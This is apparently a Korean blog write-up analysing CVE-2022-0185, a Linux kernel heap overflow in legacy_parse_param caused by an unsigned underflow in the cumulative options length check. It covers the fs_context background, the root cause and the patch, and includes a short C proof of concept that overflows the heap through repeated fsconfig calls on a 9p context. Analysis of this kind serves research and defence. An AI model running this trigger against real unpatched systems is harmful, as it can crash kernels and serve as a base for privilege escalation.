2856 words
14 minutes
CVE-2022-0185

Intro#

TOOR 팀 활동을 하며 분석하게 된 리눅스의 파일 시스템을 다루는 시스템 콜과 관련된 취약점입니다.

CVE-2022-0185는 2022년 1월 18일 커밋이 올라오고 2022년 2월 11일에 취약점 정보가 공개된 리눅스 커널 UAF 취약점 입니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.

Vuln#

Background#

이번에 알아볼 친구는 syzkaller가 발견해냈씁니다.

장하다!

취약점을 이해하기 위한 간략한 백그라운드 지식을 배워봅시다.

File system context structure (fs_context)#

리눅스 커널 v5.1에서는 VFS(Virtual File System)에서 마운트 중 파일 시스템 정보를 다룰 때 사용할 fs_context 구조체, 파일 컨텍스트 개념을 추가하게 됩니다. 쉽게 말해 파일 시스템을 마운트 할 때의 메타데이터를 다룰 구조체라 보면 되지 않을까 싶네요. 슈퍼블록! 해당 구조체는 다음과 같은 정보들을 포함하게 됩니다.

/*
* Filesystem context for holding the parameters used in the creation or
* reconfiguration of a superblock.
*
* Superblock creation fills in ->root whereas reconfiguration begins with this
* already set.
*
* See Documentation/filesystems/mounting.txt
*/
struct fs_context {
struct file_system_type *fs_type;
void *fs_private; /* The filesystem's context */
struct dentry *root; /* The root and superblock */
struct user_namespace *user_ns; /* The user namespace for this mount */
struct net *net_ns; /* The network namespace for this mount */
const struct cred *cred; /* The mounter's credentials */
const char *source; /* The source name (eg. dev path) */
const char *subtype; /* The subtype to set on the superblock */
void *security; /* Linux S&M options */
unsigned int sb_flags; /* Proposed superblock flags (SB_*) */
unsigned int sb_flags_mask; /* Superblock flags that were changed */
enum fs_context_purpose purpose:8;
bool need_free:1; /* Need to call ops->free() */
};

해당 구조체와 관련된 내용은 공식 문서를 보시는 것을 추천합니다! 공식 문서에서도 알 수 있듯, 슈퍼블록을 위한 구조체에용.

  • 파일 시스템 타입
  • 네임 스페이스
  • 소스/디바이스 이름
  • 슈퍼블록 플래그
  • 보안 세부 사항
  • 마운트 옵션에 따라 설정되는 파일 시스템 특정 데이터

이 중 fs_type 멤버와의 연결 고리에 대해서 조금만 더 알아보도록 합시다! 이후에 취약점을 트리거시킬 포인트가 되거든용.

file_system_type 구조체는 이름에서도 알 수 있듯, 마운트할 파일 시스템에 대한 여러 정보를 가지고 있습니당.

struct file_system_type {
const char *name;
int fs_flags;
#define FS_REQUIRES_DEV 1
#define FS_BINARY_MOUNTDATA 2
#define FS_HAS_SUBTYPE 4
#define FS_USERNS_MOUNT 8 /* Can be mounted by userns root */
#define FS_RENAME_DOES_D_MOVE 32768 /* FS will handle d_move() during rename() internally. */
int (*init_fs_context)(struct fs_context *);
const struct fs_parameter_description *parameters;
struct dentry *(*mount) (struct file_system_type *, int,
const char *, void *);
void (*kill_sb) (struct super_block *);
struct module *owner;
struct file_system_type * next;
struct hlist_head fs_supers;
struct lock_class_key s_lock_key;
struct lock_class_key s_umount_key;
struct lock_class_key s_vfs_rename_key;
struct lock_class_key s_writers_key[SB_FREEZE_LEVELS];
struct lock_class_key i_lock_key;
struct lock_class_key i_mutex_key;
struct lock_class_key i_mutex_dir_key;
};

초기화되는 모습은 각각의 파일 시스템과 관련된 파일에서 볼 수 있습니당. ext4를 예로 보면 다음과 같습니다. 초기화되는 코드를 보면 init_fs_context 멤버는 건들지도 않는다는 것을 알 수 있습니다. 이로인해 해당 값은 0이 됩니다. 대부분의 파일 시스템은 이를 초기화하지 않습니다. (대부분 까진 아닌가..?)

static struct file_system_type ext4_fs_type = {
.owner = THIS_MODULE,
.name = "ext4",
.mount = ext4_mount,
.kill_sb = kill_block_super,
.fs_flags = FS_REQUIRES_DEV,
};
MODULE_ALIAS_FS("ext4");

앞서 알아본 파일 시스템 컨텍스트(파일 시스템 마운트)와 관련된 시스템 콜인 fsconfig, fsopen, fsmount 등이 커널 버전 v5.2에서 추가됩니다. 이름에서도 알 수 있듯, 파일 시스템 마운트를 위한 컨텍스트를 다룰 때 사용할 수 있는 시스템 콜들입니다. 사용 예는 다음과 같습니다. 파일 시스템 컨텍스트를 만들고 메타 데이터를 추가하는 모습을 볼 수 있습니다.

fd = fsopen("ext4", FSOPEN_CLOEXEC);
fsconfig(fd, fsconfig_set_path, "source", "/dev/sda1", AT_FDCWD);
fsconfig(fd, fsconfig_set_path_empty, "journal_path", "", journal_fd);
fsconfig(fd, fsconfig_set_fd, "journal_fd", "", journal_fd);
fsconfig(fd, fsconfig_set_flag, "user_xattr", NULL, 0);
fsconfig(fd, fsconfig_set_flag, "noacl", NULL, 0);
fsconfig(fd, fsconfig_set_string, "sb", "1", 0);
fsconfig(fd, fsconfig_set_string, "errors", "continue", 0);
fsconfig(fd, fsconfig_set_string, "data", "journal", 0);
fsconfig(fd, fsconfig_set_string, "context", "unconfined_u:...", 0);
fsconfig(fd, fsconfig_cmd_create, NULL, NULL, 0);
mfd = fsmount(fd, FSMOUNT_CLOEXEC, MS_NOEXEC);

RCA#

CVE-2022-0185 Description을 구경해봅시다. 다음과 같습니다.

앞서 알아본 파일 시스템 컨텍스트를 다루는 함수 중 legacy_parse_param에서 길이 검증에서 힙 오버플로우가 발생한다고 하는군요!

legacy_parse_parm은 앞서 살펴본 fsconfig 함수에서 문자열 파라미터 값을 파싱하는 과정에서 사용됩니다. 또한 이 옵션 문자열은 누적될 수 있습니다.

이때 이 누적된 옵션 길이를 검증하는 과정에서 Integer Underflow(Wrap-around)가 발생할 수 있고, 결과적으로 이로인해 힙 오버플로우가 발생할 수 있는 환경이 됩니다. 코드를 확인해볼까요?

/*
* Add a parameter to a legacy config. We build up a comma-separated list of
* options.
*/
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
...
if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
...
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}

중간에 다음과 같은 코드가 있는 모습을 볼 수 있습니다. 이는 누적되고 있는 문자열 옵션의 크기를 계산해서 페이지 길이를 넘어갈 수 없게 하는 코드라고 볼 수 있습니다. 2 + sizePAGE_SIZE를 넘어가면 음수가 발생하여 len이 더 커지는 상황이 발생하겠죠? 혹은, PAGE_SIZE - (2 + size)len보다 작을 경우 len을 추가할 길이를 확보하지 못하니 누적된 옵션 길이에 대한 검증이라고 생각할 수 있겠죠?

if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");

하지만 이런 가정은 계산 결과가 음수가 나올 수 없기 때문에 깨지게됩니다. 즉, 요놈들 Unsigned라서 음수가 될 수 없어 무지막지하게 커지게되버립니다. 그러면 자연스럽게 해당 검증문을 피해가고 경계를 넘어서 데이터를 쓸 수 있게됩니다. 간단하죠?

이러한 legacy_parse_param 문자열 옵션을 세팅하는 과정에서 트리거 된다 했습니다. 그리고 추가적으로 특정 조건에서만 이 함수를 트리거 시킬 수 있는데, 이에 대한 배경은 앞서 설명드린 file_system_type 구조체와 관련있습니다. 즉, 파일 시스템 타입과 해당 함수에 연관이 있습니다. 이와 관련된 코드를 살펴봅시다.

legacy_parse_param은 파일 컨텍스트와 관련된 ops 함수 테이블에 담겨 있습니다.

const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param,
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};

앞서 알아본 fs_context는 파일 시스템에 따라 이 테이블을 설정하게끔 되어있습니다. 요렇게 멤버로 갖고있죠. 여기서 테이블을 설정한다는 말은 테이블을 고른다고 말 안해도 아시..겠죠?

struct fs_context {
const struct fs_context_operations *ops;
...
};

어떤 테이블이 사용될지 결정되는 시점은 fs_context 즉, 파일 컨텍스트가 할당되는 시점으로 다음 함수(alloc_fs_context)에서 설정이 진행됩니다!

/**
* alloc_fs_context - Create a filesystem context.
* @fs_type: The filesystem type.
* @reference: The dentry from which this one derives (or NULL)
* @sb_flags: Filesystem/superblock flags (SB_*)
* @sb_flags_mask: Applicable members of @sb_flags
* @purpose: The purpose that this configuration shall be used for.
*
* Open a filesystem and create a mount context. The mount context is
* initialised with the supplied flags and, if a submount/automount from
* another superblock (referred to by @reference) is supplied, may have
* parameters such as namespaces copied across from that superblock.
*/
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
struct dentry *reference,
unsigned int sb_flags,
unsigned int sb_flags_mask,
enum fs_context_purpose purpose)
{
int (*init_fs_context)(struct fs_context *);
struct fs_context *fc;
int ret = -ENOMEM;
fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
if (!fc)
return ERR_PTR(-ENOMEM);
...
/* TODO: Make all filesystems support this unconditionally */
init_fs_context = fc->fs_type->init_fs_context;
if (!init_fs_context)
init_fs_context = legacy_init_fs_context;
ret = init_fs_context(fc);
...
}

코드에서도 볼 수 있듯, fc->fs_type->init_fs_contex가 0일 경우 init_fs_context 함수 포인터는 legacy_init_fs_context 함수를 가리키게 되고! 이를 호출하게되죠! 해당 함수는 요렇게 생겼습니다.

/*
* Initialise a legacy context for a filesystem that doesn't support
* fs_context.
*/
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops;
return 0;
}

레거시 파일 컨텍스트를 할당하고 ops 테이블로 legacy_fs_context_ops를 설정해주고 있습니다. 따라서 문자열 파싱시에 legacy_parse_param이 호출됩니다!

앞서 살펴본 ext4의 경우에도 해당 값을 초기화하지 않아서 0입니다! 따라서 ext4 파일 시스템의 경우도 취약한 함수를 트리거 시킬 수 있습니다.

그리고 이러한 alloc_fs_context 함수는 fsopen을 호출할 때 호출됩니다. 요렇게 말이죠.

fd = fsopen("ext4", FSOPEN_CLOEXEC);

요렇게 특정 파일 시스템으로 fsopen을 통해 레거시 파일 시스템 컨텍스트를 만들고 문자열 옵션을 누적시키다보면 누적 옵션 길이 검증 실패로인해서 힙 오버플로우가 발생하게됩니다.

PoC#

# define _GNU_SOURCE
# include <sys/syscall.h>
# include <stdio.h>
# include <stdlib.h>
# ifndef __NR_fsconfig
# define __NR_fsconfig 431
# endif
# ifndef __NR_fsopen
# define __NR_fsopen 430
# endif
# define FSCONFIG_SET_STRING 1
# define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
# define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main ( void ) {
char * val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ;
int fd = 0 ;
fd = fsopen( "9p" , 0 );
if (fd < 0 ) {
puts ( "Opening" );
exit ( -1 );
}
for ( int i = 0 ; i < 5000 ; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00" , val, 0 );
}
return 0 ;
}

PoC를 보면 알 수 있듯, 9p 파일 시스템에 대한 파일 시스템 컨텍스트를 만들고 문자열 옵션을 계속해서 누적시키는 모습을 볼 수 있습니다. 여기서 알 수 있는 점은 9p 파일 시스템 역시 커널 내부적으로 레거시 파일 시스템 컨텍스트를 사용한다는 점이겠죠?

Video#

열심히 찍는중 🎥 😅

Patch#

패치는 아주 엄청 간단합니다! 😃 앞서 뺄셈 연산을 사용하는 것에서 덧셈 연산을 통해 현재 누적될 옵션 값이 페이지 길이를 넘어가는지 확인하게 되었습니다.

if (len > PAGE_SIZE - 2 - size)
if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&

심하게 더운 여름이네요! 다들 더위 조심하세요! 그럼 20000 👋👋👋

Mitigation#

  • 해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^

References#